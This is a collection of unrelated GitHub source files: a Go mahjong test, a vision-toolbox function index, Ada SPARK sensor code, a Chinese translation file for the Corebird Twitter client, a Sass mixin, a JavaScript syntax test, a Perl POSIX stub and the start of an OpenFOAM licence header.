}
func test_time(count int) {
cards := []int{
0, 0, 0, 0, 0, 1, 0, 0, 0,
1, 1, 0, 0, 0, 0, 1, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 4, 4,
}
print_cards(cards)
start := time.Now().Unix()
for i:=0;i<count;i++{
mjlib.MHuLib.GetHuInfo(cards, 34, 32, 33)
}
print_cards(cards)
fmt.Println("count=",count,"use time=",time.Now().Unix()-start)
}
func main() {
fmt.Println("test hulib begin...")
mjlib.Init()
mjlib.MTableMgr.LoadTable()
mjlib.MTableMgr.LoadFengTable()
test_one_success()
test_one_fail()
test_time(100000000)
// test_two_color()
}
| {
"pile_set_name": "Github"
} |
h1. Color
blackbody
ccdresponse
cie_primaries
cmfrgb
cmfxyz
ccxyz
colordistance
colorname
colorspace
lambda2rg
lambda2xy
loadspectrum
luminos
rg_addticks
rgb2xyz
rluminos
showcolorspace
tristim2cc
yuv2rgb
yuv2rgb2
h1. Camera models
Camera
CentralCamera
CatadioptricCamera
FishEyeCamera
SphericalCamera
camcald
invcamcal
h1. Image sources
h2. Devices
AxisWebCamera : acquire from internet webcam
EarthView: acquire image from Google Earth
ImageSource : abstract superclass
Movie : acquire from a local movie file
VideoCamera : acquire from attached video camera or webcam
VideoCamera_IAT
VideoCamera_fg
YUV
h2. Test patterns
mkcube
mkgrid
testpattern
h1. Monadic operators
icolor
colorize
igamm
imono
inormhist
istretch
h2. Type changing
idouble
iint
h1. Diadic operators
ipixswitch
h1. Spatial operators
h2. Linear operators
icanny
iconvolve
ismooth
isobel
radgrad
h3. Kernels
kcircle
kdgauss
kdog
kgauss
klaplace
klog
ksobel
ktriangle
h2. Non-linear operators
dtransform
irank
ivar
iwindow
h2. Morphological
idilate
ierode
iclose
iopen
imorph
hitormiss
ithin
iendpoint
itriplepoint
morphdemo
h2. Similarity
imatch
isimilarity
sad
ssd
ncc
zsad
zssd
zncc
h1. Features
h2. Region features
RegionFeature
colorkmeans
colorseg
ithresh
imoments
ibbox
iblobs
igraphseg
ilabel
imser
niblack
otsu
h2. Line features
Hough
LineFeature
h3. Point features
PointFeature
OrientedScalePointFeature
ScalePointFeature
SiftPointFeature
SurfPointFeature
icorner
iscalespace
iscalemax
isift
isurf
FeatureMatch
h3. Other features
apriltags
peak
peak2
ihist
hist2d
iprofile
h1. Multiview
h2. Geometric
epidist
epiline
fmatrix
homography
h2. Stereo
istereo
anaglyph
stdisp
irectify
h1. Image sequence
BagOfWords
BundleAdjust
ianimate
Tracker
h1. Shape changing
homwarp
idecimate
ipad
ipyramid
ireplicate
iroi
irotate
isamesize
iscale
itrim
h1. Utility
h2. Image utility
idisp
idisplabel
iread
pnmfilt
showpixels
h2. Image generation
iconcat
iline
ipaste
h2. Moments
humoments
mpq
mpq_poly
upq
upq_poly
npq
npq_poly
h2. Plotting
plot_arrow : draw an arrow
plot_box : draw a box
plot_circle : draw a circle
plot_ellipse : draw an ellipse
plot_homline : plot homogeneous line
plot_point : plot points
plot_poly : plot polygon
plot_sphere : draw a sphere
h2. Homogeneous coordinates
e2h : Euclidean coordinates to homogeneous
h2e : homogeneous coordinates to Euclidean
homline: : homogeneous line from two points
homtrans : apply homogeneous transform to points
skew : create skew symmetric matrix
h2. Homogeneous coordinates in 2D
ishomog2
rot2
transl2
trexp2
SE2
SO2
h2. Homogeneous coordinates in 3D
angvec2r
delta2tr
ishomog
isrot
rotz
rt2tr
tr2angvec
tr2delta
tr2rpy
transl
trexp
trinterp
trlog
trnorm
Twist
SE3
SO3
vex
h2. 3D geometry
icp
Plucker
Ray3D
h2. Integral image
iisum
intgimage
h2. Edges and lines
bresenham
edgelist
h2. General
about
chi2inv_rtb
closest
col2im
colnorm
distance
filt1d
im2col
imeshgrid
iscolor
isize
isvec
kmeans
numcols
numrows
pickregion
polydiff
ransac
tb_optparse
unit
usefig
xaxis
yaxis
xyzlabel
zcross
RTBPose
| {
"pile_set_name": "Github"
} |
This file should never be run or considered in the migration process
since it doesn't follow convention | {
"pile_set_name": "Github"
} |
with System.Storage_Elements;
package body Density_Altitude.Pressure_Unit
with Spark_Mode => On,
Refined_State => (Press_State => Press_Sensor)
is
Press_Sensor : PSI
with Volatile => True,
Async_Writers => True,
Address => System.Storage_Elements.To_Address (16#A1CAF8#);
procedure Read (Value : out PSI)
with Refined_Global => (Input => Press_Sensor),
Refined_Depends => (Value => Press_Sensor)
is
begin
Value := Press_Sensor;
end Read;
end Density_Altitude.Pressure_Unit;
| {
"pile_set_name": "Github"
} |
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR Timm Bäder
# This file is distributed under the same license as the corebird package.
#
# Translators:
# HybridGlucose <[email protected]>, 2016-2017-2017
msgid ""
msgstr ""
"Project-Id-Version: Corebird\n"
"Report-Msgid-Bugs-To: https://github.com/baedert/corebird/issues/new\n"
"POT-Creation-Date: 2017-10-22 12:02+0200\n"
"PO-Revision-Date: 2018-01-17 19:31+0000\n"
"Last-Translator: HybridGlucose <[email protected]>\n"
"Language-Team: Chinese (Taiwan) (http://www.transifex.com/corebird/corebird/language/zh_TW/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: zh_TW\n"
"Plural-Forms: nplurals=1; plural=0;\n"
#: data/org.baedert.corebird.appdata.xml.in:5
#: data/org.baedert.corebird.desktop.in:3
msgid "Corebird"
msgstr "Corebird"
#: data/org.baedert.corebird.appdata.xml.in:6
#: data/org.baedert.corebird.desktop.in:4
msgid "Twitter Client"
msgstr "Twitter用戶端"
#: data/org.baedert.corebird.appdata.xml.in:10
msgid ""
"Corebird is a native GTK+ twitter client that provides vital features such "
"as Direct Messages (DMs), tweet notifications, conversation views."
msgstr "Corebird 是原生的 GTK+ Twitter 用戶端,具有訊息、推文通知、以對話形式檢視回覆等等功能。"
#: data/org.baedert.corebird.appdata.xml.in:13
msgid ""
"Additional features include local viewing of videos, multiple inline images,"
" Lists, Filters, multiple accounts, etc."
msgstr "其他功能包括直接觀賞影片、顯示多張影像、列表、過濾器及多重帳戶登入等等。"
#: data/org.baedert.corebird.appdata.xml.in:21
msgid "Generic timeline view when using Corebird"
msgstr "使用 Corebird 以時間軸方式瀏覽"
#: data/org.baedert.corebird.appdata.xml.in:25
msgid "Typical Twitter profile"
msgstr "典型的 Twitter 個人檔案"
#: data/org.baedert.corebird.appdata.xml.in:29
msgid "Account settings can be configured"
msgstr "可以設定帳戶資料"
#: data/org.baedert.corebird.appdata.xml.in:41
msgid "Timm Bäder"
msgstr ""
#: data/org.baedert.corebird.desktop.in:5
msgid "Use Twitter from within a normal desktop application"
msgstr "在普通的桌面應用程式內使用 Twitter"
#. TRANSLATORS: Search terms to find this application. Do NOT translate or
#. localize the semicolons! The list MUST also end with a semicolon!
#: data/org.baedert.corebird.desktop.in:7
msgid "twitter;"
msgstr "twitter;"
#. TRANSLATORS: Do NOT translate or transliterate this text (this is an icon
#. file name)!
#: data/org.baedert.corebird.desktop.in:11
msgid "corebird"
msgstr "corebird"
#. TRANSLATORS: This is the start of a "Replying to" line in a tweet
#: src/CbUtils.c:177 src/TweetInfoPage.vala:525
msgid "Replying to"
msgstr "回覆給"
#. TRANSLATORS: This gets appended to the "replying to" line
#. * in a tweet. Example: "Replying to Foo and Bar" where
#. * "and Bar" comes from this string.
#: src/CbUtils.c:188 src/TweetInfoPage.vala:537
msgid "and"
msgstr "和"
#. TRANSLATORS: This gets appended to the "replying to" line
#. * in a tweet
#: src/CbUtils.c:197
#, c-format
msgid "and %d others"
msgstr "和其他 %d 人"
#: src/DMPage.vala:344
msgid "Direct Conversation"
msgstr "對話"
#: src/DMThreadsPage.vala:228
#, c-format
msgid "%d new Message from %s"
msgid_plural "%d new Messages from %s"
msgstr[0] "%2$s 傳送了 %1$d 則新訊息"
#: src/DMThreadsPage.vala:234 src/UserEventReceiver.vala:98
#, c-format
msgid "New direct message from %s"
msgstr "%s 傳送了新訊息"
#: src/DMThreadsPage.vala:244 src/DMThreadsPage.vala:258
msgid "Direct Messages"
msgstr "訊息"
#: src/DefaultTimeline.vala:366
msgid "Could not load tweets"
msgstr "無法載入推文"
#: src/FavoritesTimeline.vala:72 src/FavoritesTimeline.vala:76
#: src/TweetInfoPage.vala:567
msgid "Favorites"
msgstr "喜歡"
#: src/FilterPage.vala:47
msgid "Add new Filter"
msgstr "新增過濾器"
#: src/FilterPage.vala:317 src/FilterPage.vala:323
msgid "Filters"
msgstr "過濾器"
#: src/HomeTimeline.vala:143
#, c-format
msgid "%s retweeted %s"
msgstr "%s 轉推了 %s"
#: src/HomeTimeline.vala:146
#, c-format
msgid "%s tweeted"
msgstr "%s 推文了"
#: src/HomeTimeline.vala:155
#, c-format
msgid "%d new Tweet!"
msgid_plural "%d new Tweets!"
msgstr[0] "%d 則新推文!"
#: src/HomeTimeline.vala:190
msgid "Home"
msgstr "主頁"
#: src/ListStatusesPage.vala:378
msgid "List"
msgstr "列表"
#: src/ListsPage.vala:126 src/ListsPage.vala:131 ui/profile-page.ui:368
msgid "Lists"
msgstr "列表"
#: src/MainWindow.vala:88
msgid "Show configured accounts"
msgstr "顯示帳戶"
#: src/MainWindow.vala:100 ui/compose-window.ui:11 ui/compose-window.ui:25
msgid "Compose Tweet"
msgstr "撰寫新推文"
#: src/MainWindow.vala:132
msgid "Add new Account"
msgstr "加入新帳戶"
#: src/MentionsTimeline.vala:93 src/UserEventReceiver.vala:115
#, c-format
msgid "%s mentioned %s"
msgstr "%s 提及 %s"
#: src/MentionsTimeline.vala:111 src/MentionsTimeline.vala:115
msgid "Mentions"
msgstr "提及"
#: src/ProfilePage.vala:218
msgid "Suspended Account"
msgstr "被暫時停用的帳戶"
#: src/ProfilePage.vala:272
msgid "Protected profile"
msgstr "受保護的個人檔案"
#: src/ProfilePage.vala:369
#, c-format
msgid "Tweet to @%s"
msgstr "推文給 @%s"
#: src/ProfilePage.vala:507 src/ProfilePage.vala:551
msgid "Protected Profile"
msgstr "受保護的個人檔案"
#: src/SearchPage.vala:371 src/SearchPage.vala:380 ui/search-page.ui:24
msgid "Search"
msgstr "搜尋"
#: src/SearchPage.vala:401
msgid "Load More"
msgstr "載入更多"
#: src/TweetInfoPage.vala:345
msgid "Could not show tweet"
msgstr "無法顯示推文"
#: src/TweetInfoPage.vala:566
msgid "Retweets"
msgstr "個轉推"
#: src/TweetInfoPage.vala:575 src/widgets/MediaButton.vala:103
msgid "Open in Browser"
msgstr "在瀏覽器中開啟"
#: src/TweetInfoPage.vala:575
msgid "Source"
msgstr "來源"
#: src/TweetInfoPage.vala:621
msgid "Tweet Details"
msgstr "推文詳細"
#: src/list/DMThreadEntry.vala:71
#, c-format
msgid "(%d unread)"
msgid_plural "(%d unread)"
msgstr[0] "(%d 未讀)"
#: src/list/FavImageRow.vala:81 ui/account-dialog.ui:212
#: ui/account-dialog.ui:269 ui/filter-list-entry.ui:93
#: ui/list-list-entry.ui:132 ui/list-statuses-page.ui:166
#: ui/modify-snippet-dialog.ui:108 ui/tweet-info-page.ui:10
#: ui/tweet-list-entry.ui:10
msgid "Delete"
msgstr "刪除"
#: src/list/TweetListEntry.vala:455
#, c-format
msgid "Block %s"
msgstr "封鎖 %s"
#: src/list/TweetListEntry.vala:611
msgid "This tweet contains images marked as inappropriate"
msgstr "這則推文被標記為敏感內容"
#: src/list/TweetListEntry.vala:618
msgid "Show anyway"
msgstr "顯示它"
#: src/util/Utils.vala:146
msgid "Now"
msgstr "現在"
#: src/util/Utils.vala:148
#, c-format
msgid "%dm"
msgstr "%d分鐘"
#: src/util/Utils.vala:152
#, c-format
msgid "%dh"
msgstr "%d小時"
#: src/widgets/AccountCreateWidget.vala:42
msgid "Don’t have a Twitter account yet?"
msgstr "還沒有 Twitter 帳號嗎?"
#: src/widgets/AccountCreateWidget.vala:42
msgid "Create one"
msgstr "註冊一個"
#: src/widgets/AccountCreateWidget.vala:55
msgid ""
"Unauthorized. Most of the time, this means that there’s something wrong with"
" the Twitter servers and you should try again later"
msgstr "授權失敗。通常這是因為Twitter伺服器出錯,請稍後再試。"
#: src/widgets/AccountCreateWidget.vala:69
#, c-format
msgid "Could not open %s"
msgstr "無法開啟 %s"
#: src/widgets/AccountCreateWidget.vala:98
msgid "Wrong PIN"
msgstr "PIN 錯誤"
#: src/widgets/AccountCreateWidget.vala:124
msgid "Account already in use"
msgstr "此帳戶已被加入過"
#: src/widgets/CompletionTextView.vala:59
msgid "No users found"
msgstr "沒有找到用戶"
#: src/widgets/FavImageView.vala:153 src/window/ComposeTweetWindow.vala:299
msgid "Select Image"
msgstr "選擇媒體"
#: src/widgets/FavImageView.vala:156 src/window/AccountDialog.vala:347
#: src/window/ComposeTweetWindow.vala:302
msgid "Open"
msgstr "開啟"
#: src/widgets/FavImageView.vala:157 src/widgets/MediaButton.vala:276
#: src/window/AccountDialog.vala:348 src/window/ComposeTweetWindow.vala:275
#: src/window/ComposeTweetWindow.vala:303 src/window/UserListDialog.vala:47
#: ui/account-dialog.ui:25 ui/account-dialog.ui:256 ui/compose-window.ui:41
#: ui/filter-list-entry.ui:80 ui/list-list-entry.ui:98
#: ui/list-statuses-page.ui:173 ui/modify-filter-dialog.ui:13
#: ui/modify-snippet-dialog.ui:14 ui/shortcuts-window.ui:134
#: ui/user-filter-entry.ui:114
msgid "Cancel"
msgstr "取消"
#: src/widgets/FollowButton.vala:43
msgid "Follow"
msgstr "跟隨"
#: src/widgets/FollowButton.vala:44
msgid "Unfollow"
msgstr "取消跟隨"
#: src/widgets/MediaButton.vala:48
msgid "Copy URL"
msgstr "複製網址"
#: src/widgets/MediaButton.vala:105
msgid "Save as…"
msgstr "儲存為..."
#: src/widgets/MediaButton.vala:268
msgid "Save Video"
msgstr "儲存影片"
#: src/widgets/MediaButton.vala:270
msgid "Save Image"
msgstr "儲存圖片"
#: src/widgets/MediaButton.vala:275 src/window/AccountDialog.vala:429
#: src/window/AccountDialog.vala:450 src/window/UserListDialog.vala:48
#: ui/account-dialog.ui:33 ui/list-statuses-page.ui:129
#: ui/modify-filter-dialog.ui:20 ui/modify-snippet-dialog.ui:21
msgid "Save"
msgstr "儲存"
#: src/widgets/TweetListBox.vala:123
msgid "Loading…"
msgstr "載入中..."
#: src/widgets/TweetListBox.vala:126 src/widgets/TweetListBox.vala:177
msgid "No entries found"
msgstr "沒有找到條目"
#: src/widgets/TweetListBox.vala:137 ui/account-create-widget.ui:119
msgid "Retry"
msgstr "重試"
#: src/window/AccountDialog.vala:344
msgid "Select Banner Image"
msgstr "選擇首頁相片"
#: src/window/AccountDialog.vala:380
msgid "Image does not meet minimum size requirements:"
msgstr "影像沒有達到最低大小:"
#: src/window/AccountDialog.vala:381
#, c-format
msgid "Minimum width: %d pixel"
msgid_plural "Minimum width: %d pixels"
msgstr[0] "最小寬度: %d 像素"
#: src/window/AccountDialog.vala:383
#, c-format
msgid "Minimum height: %d pixel"
msgid_plural "Minimum height: %d pixels"
msgstr[0] "最小高度: %d 像素"
#: src/window/AccountDialog.vala:404 src/window/AccountDialog.vala:417
msgid "Pick"
msgstr ""
#: src/window/ComposeTweetWindow.vala:138
msgid "Quote tweet"
msgstr "引用推文"
#: src/window/ComposeTweetWindow.vala:331
msgid "Selected file is not an image."
msgstr "所選擇的檔案並非影像或圖片。"
#: src/window/ComposeTweetWindow.vala:332
#: src/window/ComposeTweetWindow.vala:338
#: src/window/ComposeTweetWindow.vala:344
#: src/window/ComposeTweetWindow.vala:365
#: src/window/ComposeTweetWindow.vala:428
msgid "Back"
msgstr "返回"
#: src/window/ComposeTweetWindow.vala:336
#, c-format
msgid ""
"The selected image is too big. The maximum file size per image is %'d MB"
msgstr "所選擇的媒體檔案太大。大小上限為 %'d MB。"
#: src/window/ComposeTweetWindow.vala:343
msgid "Only one GIF file per tweet is allowed."
msgstr "每一則推文只允許一個GIF檔案."
#: src/window/ComposeTweetWindow.vala:392
msgid "Insert Emoji"
msgstr "插入顏文字"
#: src/window/ModifyFilterDialog.vala:45
msgid "Modify Filter"
msgstr "修改過濾器"
#: src/window/ModifyFilterDialog.vala:76
msgid "Matches"
msgstr "相符"
#: src/window/ModifyFilterDialog.vala:78
msgid "Doesn’t match"
msgstr "不符合"
#: src/window/ModifySnippetDialog.vala:44
msgid "Modify Snippet"
msgstr "編輯片語"
#: src/window/ModifySnippetDialog.vala:63
msgid "Snippet can’t be empty"
msgstr "片語關鍵字不可空白"
#: src/window/ModifySnippetDialog.vala:70
msgid "Replacement can’t be empty"
msgstr "替換內容不可空白"
#: src/window/ModifySnippetDialog.vala:78
msgid "Snippet may not contain whitespace"
msgstr "片語關鍵字不可包含空白"
#: src/window/ModifySnippetDialog.vala:86
msgid "Snippet already exists"
msgstr "片語關鍵字已存在"
#: src/window/SettingsDialog.vala:85
msgid ""
"Hey, check out this new #Corebird version! \\ (•◡•) / #cool "
"#newisalwaysbetter"
msgstr "嘿,#Corebird 推出了新版本! \\ (•◡•) / #cool #newisalwaysbetter"
#: src/window/UserListDialog.vala:40
msgid "Add to or Remove User From List"
msgstr "從列表中加入或移除成員"
#: src/window/UserListDialog.vala:69
msgid "You have no lists."
msgstr "你沒有任何列表"
#: ui/about-dialog.ui:5
msgid "About Corebird"
msgstr "關於Corebird"
#: ui/account-create-widget.ui:28
msgid "New Account"
msgstr "新帳戶"
#: ui/account-create-widget.ui:47
msgid ""
"To authenticate Corebird, you need a PIN from twitter.com with the account "
"you wish to add"
msgstr "為了授權 Corebird 的使用,您必須向 twitter.com 取的欲新增帳戶之 PIN 。"
#: ui/account-create-widget.ui:58
msgid "Request PIN"
msgstr "取得 PIN"
#: ui/account-create-widget.ui:88
msgid "Enter PIN from twitter.com below:"
msgstr "在下方輸入 twitter.com 所提供的 PIN :"
#: ui/account-create-widget.ui:106
msgid "PIN"
msgstr "PIN"
#: ui/account-create-widget.ui:132 ui/list-statuses-page.ui:358
msgid "Confirm"
msgstr "確認"
#: ui/account-dialog.ui:19
msgid "Account Settings"
msgstr "帳戶設定"
#: ui/account-dialog.ui:88
msgid "Name"
msgstr "名稱"
#: ui/account-dialog.ui:117
msgid "Website"
msgstr "網站"
#: ui/account-dialog.ui:181
msgid "Autostart"
msgstr "自動啟動"
#: ui/account-dialog.ui:244
msgid "Do you really want to delete this account?"
msgstr "你確定要移除這個帳戶?"
#: ui/cb-emoji-chooser.ui:41
msgctxt "emoji category"
msgid "Smileys & People"
msgstr "表情&人物"
#: ui/cb-emoji-chooser.ui:54
msgctxt "emoji category"
msgid "Body & Clothing"
msgstr "身體&衣服"
#: ui/cb-emoji-chooser.ui:67
msgctxt "emoji category"
msgid "Animals & Nature"
msgstr "動物&自然"
#: ui/cb-emoji-chooser.ui:80
msgctxt "emoji category"
msgid "Food & Drink"
msgstr "食物&飲品"
#: ui/cb-emoji-chooser.ui:93
msgctxt "emoji category"
msgid "Travel & Places"
msgstr "旅行&地點"
#: ui/cb-emoji-chooser.ui:106
msgctxt "emoji category"
msgid "Activities"
msgstr "活動"
#: ui/cb-emoji-chooser.ui:119
msgctxt "emoji category"
msgid "Objects"
msgstr "物件"
#: ui/cb-emoji-chooser.ui:132
msgctxt "emoji category"
msgid "Symbols"
msgstr "象徵物"
#: ui/cb-emoji-chooser.ui:145
msgctxt "emoji category"
msgid "Flags"
msgstr "旗幟"
#: ui/cb-emoji-chooser.ui:272
msgid "No Results Found"
msgstr "找不到相符的"
#: ui/cb-emoji-chooser.ui:285
msgid "Try a different search"
msgstr "試試其他的吧"
#: ui/compose-window.ui:48 ui/dm-page.ui:51 ui/shortcuts-window.ui:127
msgid "Send"
msgstr "推文"
#: ui/compose-window.ui:177
msgid "Add Image"
msgstr "新增媒體"
#: ui/compose-window.ui:185
msgid "Show favorite images"
msgstr "顯示加入常用的媒體"
#: ui/filter-page.ui:71 ui/search-page.ui:86
msgid "Users"
msgstr "帳戶"
#: ui/list-list-entry.ui:109
msgid "Subscribe"
msgstr "訂閱"
#: ui/list-list-entry.ui:122
msgid "Unsubscribe"
msgstr "取消訂閱"
#: ui/list-statuses-page.ui:26
msgid "Subscribers:"
msgstr "訂閱者:"
#: ui/list-statuses-page.ui:49
msgid "Members:"
msgstr "成員:"
#: ui/list-statuses-page.ui:72
msgid "Creator:"
msgstr "建立者:"
#: ui/list-statuses-page.ui:84
msgid "Created at:"
msgstr "建立時間:"
#: ui/list-statuses-page.ui:119
msgid "Edit"
msgstr "編輯"
#: ui/list-statuses-page.ui:194
msgid "Mode:"
msgstr "隱私:"
#: ui/list-statuses-page.ui:217
msgid "Private"
msgstr "私人"
#: ui/list-statuses-page.ui:218
msgid "Public"
msgstr "公開"
#: ui/list-statuses-page.ui:296
msgid "Description"
msgstr "描述"
#: ui/menus.ui:6 ui/settings-dialog.ui:16 ui/settings-dialog.ui:22
msgid "Settings"
msgstr "設定"
#: ui/menus.ui:10
msgid "Shortcuts"
msgstr "快捷鍵"
#: ui/menus.ui:15
msgid "About"
msgstr "關於"
#: ui/menus.ui:19
msgid "Quit"
msgstr "離開"
#: ui/modify-filter-dialog.ui:6
msgid "Add New Filter"
msgstr "新增過濾器"
#: ui/modify-snippet-dialog.ui:6
msgid "Add New Snippet"
msgstr "新增片語"
#: ui/modify-snippet-dialog.ui:46
msgid "Keyword"
msgstr "關鍵字"
#: ui/modify-snippet-dialog.ui:72
msgid "Replacement"
msgstr "替換成"
#: ui/new-list-entry.ui:30
msgid "Create New List"
msgstr "建立新列表"
#: ui/new-list-entry.ui:51
msgid "Name:"
msgstr "名稱:"
#: ui/new-list-entry.ui:73
msgid "Create"
msgstr "建立"
#: ui/profile-page.ui:6
msgid "Write Direct Message"
msgstr "寫新訊息"
#: ui/profile-page.ui:14
msgid "Add to/Remove from List"
msgstr "新增到列表中或從列表中移除"
#: ui/profile-page.ui:20
msgid "Blocked"
msgstr "封鎖"
#: ui/profile-page.ui:24
msgid "Muted"
msgstr "靜音"
#: ui/profile-page.ui:28
msgid "Retweets disabled"
msgstr "禁止轉推"
#: ui/profile-page.ui:166
msgid "Follows you"
msgstr "跟隨你"
#: ui/profile-page.ui:242 ui/search-page.ui:74 ui/settings-dialog.ui:420
msgid "Tweets"
msgstr "推文"
#: ui/profile-page.ui:284
msgid "Followers"
msgstr "跟隨者"
#: ui/profile-page.ui:326
msgid "Following"
msgstr "正在關注"
#: ui/settings-dialog.ui:59
msgid "Show inline media"
msgstr "顯示推文中媒體"
#: ui/settings-dialog.ui:78
msgid "Always show"
msgstr "永遠顯示"
#: ui/settings-dialog.ui:79
msgid "Always hide"
msgstr "永遠隱藏"
#: ui/settings-dialog.ui:80
msgid "Hide in timeline"
msgstr "在時間軸上隱藏"
#: ui/settings-dialog.ui:101
msgid "Auto scroll on new tweets"
msgstr "有新推文時自動滾動"
#: ui/settings-dialog.ui:131
msgid "Double-click activation"
msgstr "雙擊操作"
#: ui/settings-dialog.ui:161
msgid "Interface"
msgstr "界面"
#: ui/settings-dialog.ui:179
msgid "On New Tweets"
msgstr "有新推文"
#: ui/settings-dialog.ui:193
msgid "Actions"
msgstr "動作"
#: ui/settings-dialog.ui:208
msgid "On New Mentions"
msgstr "有新提及"
#: ui/settings-dialog.ui:222
msgid "On New Messages"
msgstr "有新訊息"
#: ui/settings-dialog.ui:266
msgid "Never"
msgstr "從不"
#: ui/settings-dialog.ui:267
msgid "Every"
msgstr "每個"
#: ui/settings-dialog.ui:268
msgid "Stack 5"
msgstr "每5個"
#: ui/settings-dialog.ui:269
msgid "Stack 10"
msgstr "每10個"
#: ui/settings-dialog.ui:270
msgid "Stack 25"
msgstr "每25個"
#: ui/settings-dialog.ui:271
msgid "Stack 50"
msgstr "每50個"
#: ui/settings-dialog.ui:284
msgid "Notifications"
msgstr "通知"
#: ui/settings-dialog.ui:311
msgid "Round avatars"
msgstr "圓形的大頭貼"
#: ui/settings-dialog.ui:338
msgid "Remove trailing hashtags"
msgstr "移除貼文標籤"
#: ui/settings-dialog.ui:366
msgid "Remove media links"
msgstr "移除媒體連結"
#: ui/settings-dialog.ui:394
msgid "Hide inappropriate content"
msgstr "隱藏標示為敏感內容之推文"
#: ui/settings-dialog.ui:441
msgid "No snippets configured."
msgstr "沒有設定片語"
#: ui/settings-dialog.ui:480
msgid "You can activate snippets by writing the keyword and pressing TAB."
msgstr "你可以在撰寫時輸入關鍵字後按TAB鍵轉換成片語。"
#: ui/settings-dialog.ui:494
msgid "Snippets"
msgstr "片語"
#: ui/shortcuts-window.ui:12
msgctxt "shortcuts window"
msgid "General"
msgstr "一般"
#: ui/shortcuts-window.ui:17
msgctxt "shortcuts window"
msgid "Compose Tweet"
msgstr "撰寫新推文"
#: ui/shortcuts-window.ui:24
msgctxt "shortcuts window"
msgid "Show Account settings"
msgstr "顯示帳戶設定"
#: ui/shortcuts-window.ui:31
msgctxt "shortcuts window"
msgid "Show Accounts Popover"
msgstr "顯示帳戶列表"
#: ui/shortcuts-window.ui:38
msgctxt "shortcuts window"
msgid "Show Application Settings"
msgstr "顯示程式設定"
#: ui/shortcuts-window.ui:45
msgctxt "shortcuts window"
msgid "Toggle Topbar"
msgstr "顯示/隱藏頂端分頁"
#: ui/shortcuts-window.ui:52
msgctxt "shortcuts window"
msgid "Go Back"
msgstr "上一頁"
#: ui/shortcuts-window.ui:59
msgctxt "shortcuts window"
msgid "Go Forward"
msgstr "下一頁"
#: ui/shortcuts-window.ui:66
msgctxt "shortcuts window"
msgid "Go to nth page"
msgstr "切換第...分頁"
#: ui/shortcuts-window.ui:74
msgctxt "shortcuts window"
msgid "Tweets"
msgstr "推文"
#: ui/shortcuts-window.ui:79
msgctxt "shortcuts window"
msgid "Retweet"
msgstr "轉推"
#: ui/shortcuts-window.ui:86
msgctxt "shortcuts window"
msgid "Favorite"
msgstr "喜歡"
#: ui/shortcuts-window.ui:93
msgctxt "shortcuts window"
msgid "Reply"
msgstr "回覆"
#: ui/shortcuts-window.ui:100
msgctxt "shortcuts window"
msgid "Quote"
msgstr "引用"
#: ui/shortcuts-window.ui:107
msgctxt "shortcuts window"
msgid "Show Details"
msgstr "顯示詳細資料"
#: ui/shortcuts-window.ui:114
msgctxt "shortcuts window"
msgid "Delete"
msgstr "刪除"
#: ui/shortcuts-window.ui:122
msgctxt "shortcuts window"
msgid "Compose"
msgstr "撰寫新推文"
#: ui/shortcuts-window.ui:141
msgid "Show Emoji Chooser"
msgstr "顯示顏文字清單"
#: ui/start-conversation-entry.ui:29
msgid "Start new conversation"
msgstr "開始新對話"
#: ui/start-conversation-entry.ui:49
msgid "With:"
msgstr "跟:"
#: ui/start-conversation-entry.ui:75
msgid "Go"
msgstr "開始"
#: ui/tweet-info-page.ui:6 ui/tweet-list-entry.ui:6
msgid "Quote"
msgstr "引用"
#: ui/tweet-info-page.ui:252
msgid "Retweet tweet"
msgstr "轉推"
#: ui/tweet-info-page.ui:277
msgid "Favorite tweet"
msgstr "個喜歡"
#: ui/tweet-info-page.ui:302
msgid "Reply to tweet"
msgstr "回覆"
#: ui/tweet-info-page.ui:338
msgid "More"
msgstr "更多"
#: ui/tweet-list-entry.ui:60
msgid "Favorite"
msgstr "喜歡"
#: ui/tweet-list-entry.ui:81
msgid "Reply"
msgstr "回覆"
#: ui/user-filter-entry.ui:125
msgid "Unblock"
msgstr "解除封鎖"
#: ui/user-list-entry.ui:67
msgid "Show settings of this account"
msgstr "顯示這個帳號的設定"
#: ui/user-list-entry.ui:92
msgid "Open in new window"
msgstr "在新視窗中開啟"
#: ui/user-list-entry.ui:116
msgid "Go to profile"
msgstr "前往個人檔案"
#: ui/user-lists-widget.ui:14
msgid "Created"
msgstr "建立"
#: ui/user-lists-widget.ui:86
msgid "Subscribed to"
msgstr "訂閱的"
| {
"pile_set_name": "Github"
} |
// Shared Container API
// ====================
// Container Output
// ----------------
// - [$width] : <length>
// - [$justify] : left | center | right
// - [$math] : fluid | static
@mixin container-output(
$width,
$justify: auto auto,
$property: max-width
) {
$output: (
#{$property}: $width or 100%,
margin-left: nth($justify, 1),
margin-right: nth($justify, 2),
);
@include output($output);
}
| {
"pile_set_name": "Github"
} |
// Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
info: Block within a "for-in" Expression is not allowed
es5id: 12.6.4_A15
description: Using block within "for-in" Expression
negative: SyntaxError
---*/
var __arr=[1,2,3];
//////////////////////////////////////////////////////////////////////////////
//CHECK#
for(x in {__arr;}){
break ;
};
//
//////////////////////////////////////////////////////////////////////////////
| {
"pile_set_name": "Github"
} |
# NOTE: Derived from ../../lib/POSIX.pm.
# Changes made here will be lost when autosplit is run again.
# See AutoSplit.pm.
package POSIX;
#line 695 "../../lib/POSIX.pm (autosplit into ../../lib/auto/POSIX/getppid.al)"
sub getppid {
usage "getppid()" if @_ != 0;
CORE::getppid;
}
# end of POSIX::getppid
1;
| {
"pile_set_name": "Github"
} |
<span class="to {{ chat_message['source']['to'] }}">{{ bot.name if chat_message['source']['to'] == 'bot' else 'pajlada' }}</span>
| {
"pile_set_name": "Github"
} |
/*---------------------------------------------------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration |
\\ / A nd | Copyright (C) 2011 OpenFOAM Foundation
\\/ M anipulation |
-------------------------------------------------------------------------------
License
This file is part of OpenFOAM.
OpenFOAM is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
OpenFOAM is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License
